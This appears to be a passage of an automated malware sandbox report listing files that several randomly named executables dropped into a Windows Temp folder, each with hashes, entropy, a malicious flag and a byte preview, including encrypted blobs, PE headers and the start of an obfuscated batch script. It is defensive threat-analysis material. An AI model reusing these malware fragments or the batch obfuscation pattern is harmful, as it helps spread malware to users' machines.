Preview:	.r...'>Iv2.0...)$<.(> ...>...m.17e..n..Y............(.`Z9.R..h.........d+..O.$i.p.^...1.:V..#...N...c...m.Y..T.R.7$..),.U..B...)gI.x.{..t...I..B_...%......../...o>t. .NG.........-..T.P......,G......)1G....l{.........g[Z.C..Y..Y..2g...G.%L#%...:....HN....y.PM..t..g........84.>.yV.qRW....\|.Z.,...,.(.lU..x...;....t.............X..-...#.&.M.@5...m.c.>HS.n........_.w......=..T.Z;cW.....2y-.^m...X.......z.0..6I..e...Q.Po.n.z+.....e:..K'H....B.m...;..u2.R.3...$i::%l...T.=\|kK.9.#...@.2.O..&H......GKD&.Hf..4..=........t.w...:..B..w..k..=Uh3n`.CC"...Ti.:4.Z..g.g....&.J......A.....2..._....Q..C.....5...+eW..+5.7.....2...c....PA..1J._(I.0&..T..V..R,l>....~...M8.g.b&u.rn.T.a30..;.u..@F.....K.g..im/..m..vA.NeNe.....&..v...G.FE/..hL...#...a)\|q....toB.w.y\./...5.N.R...q]....w+/......K....;$.u.X..#.Y..f....b8.1.{.8u...}.A.M.'&....Ai.j..Er..T... ~. W..~..!.n.n.).Q.&.b.r......-p.K...e.x..~...u...R.;.....d...".B..z.....>...T.F.J......X.=..R....l.Z)

C:\Users\user\AppData\Local\Temp\Danger

Download File

Process:	C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	7.997381166467754
Encrypted:	true
SSDEEP:	1536:K2SeqwbOIQTJ76+/9v5TfvnXvX04rzke5VvpU:Kle7bOJTwO9R7XJrz3U
MD5:	955B8C9BD81A7F6E92F75073E6E3BF99
SHA1:	5DC9A16E6951698A7694833A468D8E4D9FB8BF5E
SHA-256:	1E447363F7FEEE53001883432EEACBA5494D00E891E1BC2A831B23444DB7AFC9
SHA-512:	E11038429AB4C6AFC008648B97B709C1BA27569BE7171D5C6E8F0987F2FFB562B51BEF4EB022443F385C386EBBFD40EC29F64764CA3658DF218D67B5B7C4BD79
Malicious:	true
Reputation:	unknown
Preview:	..#I...i..".df....S.rn..iR@.b..=Hqk#...Q..x....k[9.B..w....v3T.o..ZJ...W.O.C.cD.Z"...j..{...+W......Xz....;...U.....D....5A....j........f...@.1mP..n.pg,R.G8..w..I.m.X5,....?..).#=._..R.r+..i..l.%S...t..]..CQ.4......ep6...,;^.UW.........M.V_..(4..e.....&a#Qc....".....1...U.i~..s.1......Zv...X!..c.../...rc8...~..aTy0.......x~.@.R!%u....D....t.$_..........S2.Ya}\|\..f@.....__..bO ..k.`..@:..Q..$...$..b.6..h.. W...V....'.....O...hT}M...!..NS..8H.IN. ..W.T...t4....iH}5/.W..Q1.,[...iaCN.>o.H.EFY..M.....................}...)A.u.X...dW.."R.T.2/I.d.$...-%..>6...v.......os).!...ftU.O..&g..;).-..__.... g...#.T......3..`5.\|.^~x.....h..=.rs.).s..%......t...L..O>....m #..Z. ...\:.m....R7..=..sI.1.mk%..Y..w9T.:=L..Q\|.F....!....Z..ZE....=.9EZ.,.......e...2K.8.#.S..o.K+w...U\.Dp.....AS# .k...#...EP...'.........%H..%nM.h>..[O.e......a&...G....N.;a...z..............@.X. ...;};oS...H2.72.B=.})..m.X...Tu.....7..n..VQ...}....'.,.uC.#..%.F1

C:\Users\user\AppData\Local\Temp\Faqs

Download File

Process:	C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
File Type:	data
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	7.997103526246315
Encrypted:	true
SSDEEP:	1536:Uk1yYPUTtI5DL2nRCN5GNoAhBXMdKqqiJ2+tRR0e7pb6k0O:TJi2L2n5oAhxgiiJ9yegXO
MD5:	3692325BFBAA1F8C5C8D1241EC1B16D0
SHA1:	F6013E852B24137BAA26DF9AB23C24467ACC070B
SHA-256:	0414D75BDBF05B2114D9DEB7C919A4F243FDB69448CEEE375312FBCF8BD15868
SHA-512:	16F3ED74595415A987412F3AEDCE7988C14F949E6F33C732DB38779A398D2013200F6A272685B4CC521961D13F79AFB49E3EA184EFD5B5ADC6F79C85AA45CF38
Malicious:	true
Reputation:	unknown
Preview:	7GR....yj.H@..Uf2./.._Fy]E.x.)N.x........(xF......m..;......n.2.%.....).wI.3..r.vb..N.D./3..0..p...N.A4.\.j..q....7...-c...W...X.P.w..g?.-...j...]....2o..n.Bz....V..C.........Ry..:...F.NX.,s.z....m.\|.9.L7.M.l......sd.iL\.Q.E0..{...i......Q..47...........NwO.Kq...K..TX..4(.}.ZT....8.@.7..Z5......W..R..cIqM(k7TQL..S.R..1.p..Q....H...d.1........L7.A..._....]...X.'.......H.+......G...Zcf._t.s(.;.&..P<Kd..v..9.9Q..{9......y.:...o0.C.r.9.iVI....0.!E.0...../pO.?3.\7.b.}....x.....s>.r.(h.I....Q...+.:c.....H..%....4..eX.f..&pZ...#..-...j,OF..&.T..)..........Y.(&..2.$c.+.o...x.......$."~nJ.k..>,.YUsi..&..!...#n.._we]....".......'...1.m"A..0U.._.c..id...}xPd:/@c.i..j2..../o.....e.(L.Z......I..&....4k.=.sH4.w.W.E..q..a...1....D_E.... ..Y.k..I.V.qF!^.g..}G3..<B.7*..H.2d.D....Up...(X.l..H.@..k7...-. .T.$.J._x.'......A..#P.F..i.. .a".z..Q.......L..OH.......g2Q!U...s7...5..%.A..d-.=...S.m.....k1b..2cM.!.\|...x.e..#....M.}.WeZ%.."b..TwM.....+./).....V....}.

C:\Users\user\AppData\Local\Temp\Fifty

Download File

Process:	C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
File Type:	data
Category:	dropped
Size (bytes):	75776
Entropy (8bit):	7.997682489077482
Encrypted:	true
SSDEEP:	1536:E338Hqv6JzRAlig8N2Vp8JHqqI3SmoTdq82Kaf5v+DmaX657CE5UJ6q/QeskJ:E3MHFJFAgzN2gqIshjhWKaA7CDJDZ/
MD5:	02E2FFB5BCDC7B0246C0C244AC6667DC
SHA1:	CCB490092BF07CFA6DE3809D228F7593ABC1F2E2
SHA-256:	F6BC0658E637321FB15BB2AF325A5E872D61E61AFE06C8ACA20D2AF4C84669C4
SHA-512:	CDFC827DF8A4B9E00B6A1F0B74E9AA6308401DCA9E17392A157EF2E658D752D0B580101C60E846E698E28B587516F171E00939A6037658A4F0A8C8F7EB814920
Malicious:	true
Reputation:	unknown
Preview:	b.P8=.....S.v d.......X..(....3..H....G..x..E..(...Z..........y^n..)0..rpT#.+Skd.=szZ\..~/. yj$D...!.)... L@.V...k..........._.R.......1...(..,.AmG..by!.....r..<.h..8.y....(.k.....k.gT.....f..\|..U...`.....YQ.}R....m...X...:/..... 3A..K...+.?&.",,.A.mS..s,.09id.b.!^-...Z1.Pf.s.^T.qD\..9.....+....j?...0T.$..].^....2x.`PD..)......t.....A.<.+.M.#,K...n._...cc...(.y..Z2&...nj........?....Si.p.%...o.l6ve...q7]3....c..rU.wV.\|...#.p...%.b.4wZ&..I......b.x'aa.}...5u..R.s....`1.+A...eu...GGC......{(]Y@..G...q.L..O.?d..~kT....>U.......s.h..,w...e...;.2.5...I}..j.:.......'.}..TVe.w.#....kf..p..;..E. .{J7...K...Q+.3.....n.aj-D.......I.....V...!....`....W...<.@.....l...8\.^.DKH.r}..s..2(..........s.L\.P...p..V....B....?...sC...y...y.r.Hq]57.....O...8...U.F\....K.Yh..I........`.B(@.h...9../(j+x[.I.q)@3O.g.._,..d..,..[.3f.`.0...dQ.{....c.>s...v...9.p..NB@4..H2.t.?....e...WD.5....*.Ax..S/.eV.+Y..ymi.!.P.p}......O{.u...x..3....}l.3...A..

C:\Users\user\AppData\Local\Temp\Founder

Download File

Process:	C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	7.997624283368471
Encrypted:	true
SSDEEP:	1536:OzKdW8vMWLT+EahnCwW9ajS0DyCGKmPW1/tqx4H1vNja1CrDolsfKN9U0gYLhJg:y8H3+Jnlvj5Q1PW1/tCE6QiPLUXmJg
MD5:	0F25CD94E6DF8C018E555DF15D6EF3E4
SHA1:	1F9437034D9452CEEA9AD47F6BFC4BB40FB52CD3
SHA-256:	C30F0F05F82D71DA40D81080421EF62B4C3E67BAC247C1E5D09720A9DC3BAA70
SHA-512:	650F136AF2AF34D00D9E0F63BE3A5B00CA58A20AEA1D02FDE8A28FFF09DB374AADFF680BBAAA83862F2F930C1B21C639364E77A178FDB585DD42F1735356B40E
Malicious:	true
Reputation:	unknown
Preview:	...g...4.Jbd..p.Mo....+.w..h......(..\8....)~:.....d.~..d.....ug...K.\|o..y..Y.5z..._.........\...3E...3A=.........,..&;\|.uD`y{.hk.0.R...C.....c.........le...DN.c......wj....>...-i..U..b..........KQ^.6 ....A.A...:.}..bK.lh......R....W.NE.F.R...YP;..P[].k.T`.........p"X.F.$...W.Zh4..6L..\|i!.C7....Z.xV.5Qj/....d.1.e...8.......CY,..a&.U...,;.<. .n......c`9.l.m.E..t..6.gp_.K........`.C.J.n..w....6[kK-..'..W(........!S7x=^%.WW.........W..Q..... p..!K...)&..@...f...iO.K,.@\......#@.Kn....vQd@].....C....>...\..">..s.y.".2........'.".........?..._uL...i...D.-./Q....X.C.u.....G.%.?.n+iM........H..V......h2>.....?....L5.eX..yl...Z~}......D..m...4~O.FnZ...T2..;Y...u..Wg=}.Ak...B.....`.?i..0..Z..+r.@k.7S~.......!..LC9:e[......X.....C(Rj....7.<.~.!...F.n2N........A.Z...m...........7y.E.'u...O...f....K.(..@....[~1.nno.....\|<....`.U._q`...G.W..i............_.#@ .g...ym.K{{)...Q......-......(.:.V......Y.u...'...I=.......L...r...+w.1....n.

C:\Users\user\AppData\Local\Temp\Hd

Download File

Process:	C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	7.9978486151891035
Encrypted:	true
SSDEEP:	1536:nLRzGay1Y146YBSYo4zBXGL6dvNx8HrJ7BffLJl6WjFS7Ma3B3U6tLKhopysUc6d:Vzhy164Tw4zoL65Nx8LJ7BffVllA7MaQ
MD5:	135877D154531F6B9DBA951855E271C2
SHA1:	68F3E0E45AEDFB38A0813A77CC10260B675CB1F8
SHA-256:	CCBB3578AE7E6B9D27A7561947D475BB731EE68E71668D4F375E4623E3322C92
SHA-512:	7EC4BE1FA449348AD03282D44365BEAA73364A543750095C6007B7944F42BA691C12DEFD6258D004C78C5C9322C753B5DAE48C164A8960C4E0ABA25807167CCB
Malicious:	true
Reputation:	unknown
Preview:	.@..6..Y........(.}."..u.OB.{.fm.w. ls.... .y.....G..O./L...k.SM....+..m...6.cd..Hm.&..(.!}O.IN......c.@t.c.%..}..4....X..8'b.{.2l..jX.e.....$...........J........S..M..4...6.b....5...y.^...Y..eJZu...&....c...H:W......<....>.........H&~.1?.G....BB^#-.....K...Y6..R..\|BS...a.;i.)$....K./.j. .j_.[0.kE..>.$w.q...?.6....K....^%..+..bK....y../.b..o..7^..3....I..bE&.~v+.3.>...k.....vX.~..V&J..k.DE..l.......5..9...c6./a...G?..b..,.+t..@.o9..O.F.,.....4...y.pns...i......ih..g.K.._+.q.'.].a..+.?...:Y"d..t...n....G..-.i...S.>....TP.jOI.Lm...m..S.?.,.........\|.dE.W.0.y......2..W?,.:c.Q.....1..P.....h.Z.".ma....".U...}.'......zM..!&Zk.....Q.......e........."o.N.qg._.,.. >-.<F...t.g.v\...... .4<[...9....62.HgN...l..bu.Q(..,.......&..S5A..Z.v?..7"`.N..x.L.'../..1P.e..FE.TwP.{. `..Ks8.........M\|4.9AQ(_..~.V.b....g.y_#.2...M.*.....@..^^V[gX...H.b?...0....9..M.)g}.h8.iZVhL.......iZ..-lT....b..............9.D]NRVP.}.....Qi/[jT7..`..<....$......D.o.:\|"[.

C:\Users\user\AppData\Local\Temp\Ibm

Download File

Process:	C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
File Type:	data
Category:	dropped
Size (bytes):	97280
Entropy (8bit):	7.997892939088789
Encrypted:	true
SSDEEP:	1536:hIw6DP7PCHYuX5xlKMQlJuYxzC+GRvep0wYCc3GezV:hl6DPLOrXdnQP3mFGo3GezV
MD5:	FB14533C6A7501F71F9BFC406E18363C
SHA1:	CCCE674B3DD7F823587AB2A84E06AFD096EB3CAA
SHA-256:	43F4756BC4F13640EA5FFC4CB17A0023C7B46C2E43A6655FD8DD858626BDC90A
SHA-512:	AD19A9228753444FBF48DCA6471671CAB902A0F22B1D9709324EDADBA22A14526203D03F38AC93D5EE0D7789BEC1E1F138E6B3B0F3A1D308F6F9819ACA38F9C7
Malicious:	true
Reputation:	unknown
Preview:	..C?+....;..\|.........V..,M....C..E....0..}..I..H..k.r)i.\|.b9i.DqpG..2.Dh[7.F.X.V@'4.'.].G..\|#p...o....[.T....;.S"....:Ft..s..x..lJ...DJ"....E.=x.`.w..1>.-......2....Y.iw...X{v.~&...}4.....v.{..S....b..c....>.g{...\.J....@3...{..K.7...$.!..K....+\+....B.W..n.GlHnV...VjI>u[V...W_...r.eg.2..H.d...d...C.J..@}..;M..c..xs.Lc.k.......Rz..3....Q..........}X....fh..V..q..7.p.......Ps..I..;&.. .I.r.M........`.s.j...n....@..-.H/y.g<.T..oW...!..a\|E........._IP#".-j..:.?.<fQ.3O.........,.vE ..8f.Y.L(b.d{.t.#0.....jH\.....%FZ.........v.Im.;....Y...<'k.T..L.cPj.8.K.o.9.+....3u!..r....N].q9....1.T.NO..?mu.k..k..c.&...f.o.H9o.....9..bJ@R.)...I.V..O.2..\.......:'G..SBh.o.....WP9up.@.#H.Wr.q....-......N.h.1...j]E.]Wj.v..X.....#7.....V.E.Xj.......3HD!.P.B...Z.kK7y.'\|5 .1.^.H..7B...I$m....H:Ag;K..iG..T...n..@v[..Gy...2.&..........-.W+ .AX....P.^+..c.....\|...?.....F....Y...oTA@.m..n..d.. ...{3.r...U..R..."....B.2J.*...D..v^.& .is..ge.MY.:..j...+.(P9"....W.<

C:\Users\user\AppData\Local\Temp\LAzlmFmPejofyAjGuKql.dll

Download File

Process:	C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	315835392
Entropy (8bit):	0.05576412486243631
Encrypted:	false
SSDEEP:	24576:1VU2SDDpiSsm4zjnOt6iykYKDwQQk/2DYsIuqOtX:1VrPnOt6RDQDXu
MD5:	B567EC51C965AC2B11EE0D7216104C2D
SHA1:	EF849798196E7DE72A301C114B4CC76150EB9B9D
SHA-256:	69D5F937A12EA06B813C81575B2D1B97C1C7EAA1FBE2CD062F36BC708C265A93
SHA-512:	85199390F26E06B1E48C4A1C91CC746511F1048D22E373CDEED932FE01D9B0BFB16C14AFD2B58342462498A3FFB72261EE9F468109BD76BBEA1B70D743EB75EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...........#...#.H...@...............`....<q................................P.....@... .........................`....................................0..........................................................t............................text...<F.......H..................`.P`.data........`.......L..............@.`..rdata..@............b..............@.`@.eh_fram.....P.......&..............@.0@.bss....t.............................`..edata..`...........................@.0@.idata..............................@.0..CRT....,...........................@.0..tls......... ......................@.0..reloc.......0......................@.0B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Measuring

Download File

Process:	C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe
File Type:	ASCII text, with very long lines (1294), with CRLF line terminators
Category:	dropped
Size (bytes):	25944
Entropy (8bit):	5.042262116207873
Encrypted:	false
SSDEEP:
MD5:	E8102DF8695B8E96495FD9C317050E70
SHA1:	D4A9D1DEA52FE8C61E145AA5849AD1D6567ADFBF
SHA-256:	43AB5DBECA941AFE55485A4D407BBC16655485D6449742DEFEE2FF226C4268E8
SHA-512:	C6B5E5D3736B140153C0E3AE44482D85B593BB44365848942E91260279B0D2CA72837B6539472C2449787E058E21EE7C7A4FA3B68F5FF467F8EAF8C6A9DECA5C
Malicious:	false
Reputation:	unknown
Preview:	Set Clarity= ..fOJm Li Pensions Portable Wanted Nurses Referrals Persons Antibodies ..YYhAndrews Actions Valuation ..nIfABernard De Animals ..kzFavourites Eng Sex Behind ..kGYWhose Trends Introduced ..Set Jacob=S..lUStory Cheque Biggest ..QuWarehouse Crisis Mexico Increasingly Tune Incredible ..fGjCoated Commonwealth Private Shaw Gentle Webcast Mumbai ..MRwSellers Alberta Changelog Thorough Friend Costa Exhaust Coupon ..JvIAudit ..xBcStatutory Dildo ..wKDRubber ..Set Bunny=s..zQWRise Hispanic Sales Mating ..tfConsent ..MwPIncluding Consumer Vitamin ..IpCWu Implement ..dvPolyester Cattle ..GLEngaging Born Notices Wireless Directly Bind ..jvCMailing Determine Integrated Poly Fear Gamma Any Characteristic Reid ..EvskParent Boolean Findings Arrival Compensation Bundle Enrollment Conversion ..Set Adding=i..YrDEpa Renaissance Increase Jessica Screenshots Awards ..BsNhWritings Purchase Pull Population Documentation ..vbvUForwarding Spreading Dd Apparel ..sMxMovements Bhutan Mj State Winter Su

C:\Users\user\AppData\Local\Temp\Measuring.bat (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1294), with CRLF line terminators
Category:	dropped
Size (bytes):	25944
Entropy (8bit):	5.042262116207873
Encrypted:	false
SSDEEP:
MD5:	E8102DF8695B8E96495FD9C317050E70
SHA1:	D4A9D1DEA52FE8C61E145AA5849AD1D6567ADFBF
SHA-256:	43AB5DBECA941AFE55485A4D407BBC16655485D6449742DEFEE2FF226C4268E8
SHA-512:	C6B5E5D3736B140153C0E3AE44482D85B593BB44365848942E91260279B0D2CA72837B6539472C2449787E058E21EE7C7A4FA3B68F5FF467F8EAF8C6A9DECA5C
Malicious:	false
Reputation:	unknown
Preview:	Set Clarity= ..fOJm Li Pensions Portable Wanted Nurses Referrals Persons Antibodies ..YYhAndrews Actions Valuation ..nIfABernard De Animals ..kzFavourites Eng Sex Behind ..kGYWhose Trends Introduced ..Set Jacob=S..lUStory Cheque Biggest ..QuWarehouse Crisis Mexico Increasingly Tune Incredible ..fGjCoated Commonwealth Private Shaw Gentle Webcast Mumbai ..MRwSellers Alberta Changelog Thorough Friend Costa Exhaust Coupon ..JvIAudit ..xBcStatutory Dildo ..wKDRubber ..Set Bunny=s..zQWRise Hispanic Sales Mating ..tfConsent ..MwPIncluding Consumer Vitamin ..IpCWu Implement ..dvPolyester Cattle ..GLEngaging Born Notices Wireless Directly Bind ..jvCMailing Determine Integrated Poly Fear Gamma Any Characteristic Reid ..EvskParent Boolean Findings Arrival Compensation Bundle Enrollment Conversion ..Set Adding=i..YrDEpa Renaissance Increase Jessica Screenshots Awards ..BsNhWritings Purchase Pull Population Documentation ..vbvUForwarding Spreading Dd Apparel ..sMxMovements Bhutan Mj State Winter Su

C:\Users\user\AppData\Local\Temp\Mediterranean

Download File

Process:	C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.997285128452517
Encrypted:	true
SSDEEP:
MD5:	EC9491192D62F12D8436CAAB53B8484B
SHA1:	481DB84C2AEBDD87EADEF82E2ED1087F71F229A6
SHA-256:	122C37A6F19411869913F1338F32EAE19C63B2B3D621DCBB93D1D780731C55AA
SHA-512:	A8027FEFD9588C617050FB6CF9662AD5061CE966531C8BF4BC89B59EE702F537DC362F22AA77A17D10A795AAE4EA8A34963AD1BFB19797BF26840DF7E9CFCF4C
Malicious:	true
Reputation:	unknown
Preview:	Q.......,f..C.6....A.)....u&&?r...Py.U..9..H.g.iQ_=p....$..L.f)..{Mr.W.{...e....>..sH.b.l...IVY..0!..md...)...lJ..Hk...35kG...y.......@VL..2..H..-."W%....s&$WG~..F...u.....p..iF....&.h...O....S...6O$..]dN...@gj..]!&:=9P..oz2..e.b.=s....czY...[......P...Y..F[t...rk{T...T......+.&l.hlea>..P...Z,%...`.u%.....=.J...l.B.U.pm.U?....\....q{..~a..v.b.....70.c.7....E.eX.4(..d......\|.#..O....I^..=.!M...X..4.'\.......sv..$.S(.M.&gm...........<\.....T//~.Q.A....=A<....KgV...%.m...~$~....IO.8...M.\|r.!.q..$..h..d.@Q.#Z....#5..]..A+.H?...j........y%.,.l.F..L.....c.Joh$.4.:.q...& c....M.%..q....JF..U..^..z....@#..{..:...5...Y.C.i.Z...Ig%.\=_..AKP\|hc....Ad.T.....!.f}...h.l...DD>.[../...).b...XN..E-O.;...2}..Ir.Y..............]....}.cL...G..u].pq]A~XG.XUh.H...i ......m.IO..B...@..=..#&D'.@..dM(E..f...H...x.T4. ..^.n.]..K....B....R.lU....s..8i.t...f\..61...&s...7hm.u\|.........oS..>-...^..bV..6.....@/..eJC..$}...WY.......+.G&.O..p._O(.......7..

C:\Users\user\AppData\Local\Temp\Occasional

Download File

Process:	C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe
File Type:	data
Category:	dropped
Size (bytes):	2750
Entropy (8bit):	5.492821861834876
Encrypted:	false
SSDEEP:
MD5:	11F6B086E20D48B99C16975D683C58FD
SHA1:	D9DE3FDD7996F7836AFDA0E0C701A512CD67DEDD
SHA-256:	BD2A269F7446C3DF6EDE3A41525F4FC299AF5268B9A0C0B08AE0EDEC140D979B
SHA-512:	71C2FBF56DBB72687F96585EF5E1F128F35A52252904CE0357F5BE55A848026B4893A80275A4643CDC58A8E61B871B67954F702AF1742BB6624B8160A5D73D92
Malicious:	false
Reputation:	unknown
Preview:	LIVERPOOLANGELSFOUNTAINSURPRISED..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B..............................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Pdas

Download File

Process:	C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	7.996829825599753
Encrypted:	true
SSDEEP:
MD5:	9FCB6A0D12FE37CDAFFC8449D5B9B838
SHA1:	BA831BBFAEB890E1608CFD7D93D26D8D30466782
SHA-256:	8EB31DB69533BF1532BCAC496E1224A9BEA18599CF00F540968A54F7545A0709
SHA-512:	1044452D5064BB55DD3F4BBDA989B9B04A26F7F32508387C10731C62CF5592A5E56DA947DFEC52C39CA407ADE8F0F019A992570DDC191A3BC8B6A3368BD4F7B5
Malicious:	true
Reputation:	unknown
Preview:	....I .w...H._......w.I.-}...h.....!.-.....#..C%.3.."....e....aj].Y......1.....r..-4.i..:.u7.c..j!......)..g;4)N....!"W.f.i.?9..=W.5..gQ..<V..gH..$..WWtu.....\....._X....w....pL.(gv;...,..."..Z?.g....:.%<....5......a.......zS^..%.@....#..g....S[....[j.%....!.....@..@]..5.I....h...........s......5....X.[..U..-3[..q...`..Lhb.^..:..:.^{.k.E>UF...w..U.S..p..)0..Z...y.8.x.5......x....S......IL... .N..a...s.n......xI....e...y3....j.x....#..Cd.t.Du.?@.&E....Y...c}.+]....rK.].c.R......S...g\..1Hf......eu.d............A...D.........t...S..D.....F....'.i.._H.r...<.G.......$G.C`h..".b.....w.7...T....P..........G.n.\.g]...M..)._^...B...H.....l.d.....+;]l.."8H.81...0.%........'.@Q..zT....`fBN...g.. .Y3....,.+._I-.D....C-..\|p..z(.......~....F\L+.,m[..r......^H...-.eg.k...[.kr..h......1...&Y...t.:57<2H........Lw}RYk.C....l..4m...HG+`.4E.#..jqQ.d..K.-wc.o$.y.+ Z.9.6.q....2.z....B.c.{.#I3..!.y...d__2....U.,REs6...$.v~.....R....x.[8...w...F.L.Y....

C:\Users\user\AppData\Local\Temp\Pix

Download File

Process:	C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe
File Type:	data
Category:	dropped
Size (bytes):	890892
Entropy (8bit):	6.62238912106361
Encrypted:	false
SSDEEP:
MD5:	11ED745ACBF83B2A88A6AE1B2D3C2ADC
SHA1:	2C4D6512C9795E662EC1CFF8D93D53E352A0C219
SHA-256:	0531D3A2A67C69BD063551C6E69DD51F0358A8AE53984A6BC6A4DBC5A004E868
SHA-512:	978DAA4C49911D357EDA6255882BB44CFC1780910D28E968E97D1AB59236ED589132C369FDD4844C38230321C3DABF14085B8752B3F536D051B71CED852C5713
Malicious:	false
Reputation:	unknown
Preview:	.E....E.........Q.u.j V....I._^..]....w..e...3.@..U....W.}....t.V.u.9=txL........dxL..........E..e...e...pxL..=txL..5xxL..}....uej.j..M.QPV....I.P.u..dxL.....I..=lxL...hxL.u..u...(.I...lxL..^.}.._t..}..t.j..u..,...P.u.....I...]..........U..=lxL..t%.u.....I..}....lxL..tG.}..tA.u...L.I..hxL...t+P.u.....I..5dxL..%hxL......I..%dxL....txL..]....u.....I..U... S.].3.V.u.3.Wj._@.E...M..}..E......e..Pj.WQV.....{..~j.U.K..C..M..E..8...........M.....Y.....2......t\HH.....HH......HH..1....}..E.E..M.....U....E..M.;S.\|..[..E.M.....p...WV......E._^[..]....}...}.t.WV.....E..8.t!...E..M..9.t..9.}..u.j.WPV......E...U.....e..SVW.}.3.C.E.....W.]...(.I..u...lxL..o.u.3.S.u..u.W....9^.~4........V..E...U..M..8.sS...@.E.........U.;F..E.\|.F.;.t.+.P........P.C....PW..$.I..v...u..u.W....._^[..]...........;.t +......Q..P.C....PW..$.I..E.U..M.............tD...uL.M....t..u.W.z....M..E..8.t....M..@....t..E..u.j.PQW.....E.U..M..#....E......u...M...U...u...wL..y......xL.......q.P.z...j..u.j.

C:\Users\user\AppData\Local\Temp\Pork

Download File

Process:	C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
File Type:	data
Category:	dropped
Size (bytes):	75776
Entropy (8bit):	7.997512532908591
Encrypted:	true
SSDEEP:
MD5:	67E2D5345EFF82DA92A1DE7CCC81F31B
SHA1:	D80150BC86A1F9837EDC9A965A889BF6271F4172
SHA-256:	F5A27ECF0AC8045948F101C0594474D5449F7557058847121502B0ADB7411914
SHA-512:	D51708A52A2CC0E47A74241EBCE36FF81074962B495EC7DF00465D22D9A6131FE1DCA669CEC2B29407B08E0467860F98D955FC6A7AF5CDDE010E6434BFA0C81F
Malicious:	true
Reputation:	unknown
Preview:	7[>G...~.z.i.....-.<.....Z......$3.....F?.Uf.ko..Y,$}.H.........V..{.sLx.H:K...V...U.k.O:.....ak..qs.....:.........p.....u@p......A.....E.....+..V..a.o$&....t....q~......]..Y..x.....o...2....$$..A"fBt..$.\..=....e=.../...6%4.u.....,..KP3,i..........OU....'.T..-[58{..`.....p.u....YGP..]....9?.i.jf./.e...$}..>.......vf...o..2.#.p%...t5...8Y.Kt.!g......c.8.wd......x....i..#....Q.557.h....h.....;Z..b.$o.?~...9p.m..C.g.......{.4.D.f"...2..%c...%.:.R....!...o...................@.......&..W.8y......'.....Fh.... .,....w.Lm...x...........-..q....7.....?\....{.7b.........5..."...8Z..Y...NV..x....QD..{...'1>...T...D.C...sV.....l\J.k.:..z...4Q...SC).n%..p..j<>.G...T......('?...+..CM..Z,.m...j.Z.G.c.I}OF]..1..f..r.L-...@X......X._b.....t...A.v.(VM..i..%}..>W...m..l.E..1......fvX.}6fY.vy..........E.k...a....X.H4A.K....;jP...,N<.0P7zS..H...C...Ry.1.;h.yw..1Rq.G...u<..B....?......ix....&2TW.z'..o....iP.9...Zy....9.a...*..]7.dg..s...

C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe

Download File

Process:	C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	8684256
Entropy (8bit):	7.036585407539768
Encrypted:	false
SSDEEP:
MD5:	B5887A19FE50BFA32B524AAAD0A453BC
SHA1:	CD1F3905959CD596C83730A5B03CEEF4E9F2A877
SHA-256:	FCE5CBEEC1EB5274FC3AFA55E57FB2F724688CB9D4661A8A86716011493564C7
SHA-512:	5B9914C94101B53314B14335E687552E5DA0A4085AFB826AE94F45769E9B1E66A35624B6E6B60257514F4ADF2ACC5C9E048BFA3A24AAFB891D203E3011C02538
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....P..............................&... ...@....@.. ....................... ......I.....@..................................&..K....`.............................6&............................................... ............... ..H............text........ ...................... ..`.sdata.......@......................@....rsrc.......`......................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Radius

Download File

Process:	C:\Users\user\Documents\iofolko5\YPlv8euR9KnvHnqn8UAA5AHQ.exe
File Type:	data
Category:	dropped
Size (bytes):	68608
Entropy (8bit):	7.997039807960186
Encrypted:	true
SSDEEP:
MD5:	AC1F6B2F372C9A5F423326F2863CBFC7
SHA1:	FE541ED0D3B0937DEF97ED342E4A5640801AEA4F
